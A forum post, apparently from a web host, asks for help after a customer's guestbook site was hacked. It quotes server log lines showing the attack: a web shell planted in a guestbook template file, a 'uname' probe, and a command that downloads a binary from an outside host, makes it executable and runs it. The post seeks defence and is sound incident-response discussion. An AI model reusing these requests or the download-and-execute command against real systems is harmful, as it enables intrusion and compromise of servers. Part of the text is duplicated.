Today one of my customers web site is hacked. As far as I can see the codes below were used
GET /guestbook/templates/error.php
GET /guestbook/templates/error.php?cmd=uname%20-a
GET /guestbook/templates/error.php?cmd=cd%20/tmp;wget%20http://tecnobyte.org/r0nin;chmod%20777%20r0nin;./r0nin
GET /guestbook/admin.php?action=template&session=244d9aa960b50bbd 60d399b9e7fb79ff&uid=1
GET /guestbook/admin.php?action=template&tpl_name=error.php&sessi on=244d9aa960b50bbd60d399b9e7fb79ff&uid=1
I also tried all those lines and the only thing I could see was the whole folders and files (even the passwd ones but I think they are encrypted). But how can they find the ftp password to change the index.htm file I don't understand. Any ideas?
What is the way to prevent this to happen again? Asking our customers not to use the guestbook?
Thank you.
Regards
GET /guestbook/templates/error.php
GET /guestbook/templates/error.php?cmd=uname%20-a
GET /guestbook/templates/error.php?cmd=cd%20/tmp;wget%20http://tecnobyte.org/r0nin;chmod%20777%20r0nin;./r0nin
GET /guestbook/admin.php?action=template&session=244d9aa960b50bbd 60d399b9e7fb79ff&uid=1
GET /guestbook/admin.php?action=template&tpl_name=error.php&sessi on=244d9aa960b50bbd60d399b9e7fb79ff&uid=1
I also tried all those lines and the only thing I could see was the whole folders and files (even the passwd ones but I think they are encrypted). But how can they find the ftp password to change the index.htm file I don't understand. Any ideas?
What is the way to prevent this to happen again? Asking our customers not to use the guestbook?
Thank you.
Regards
Any idea on how to test that to see
Comment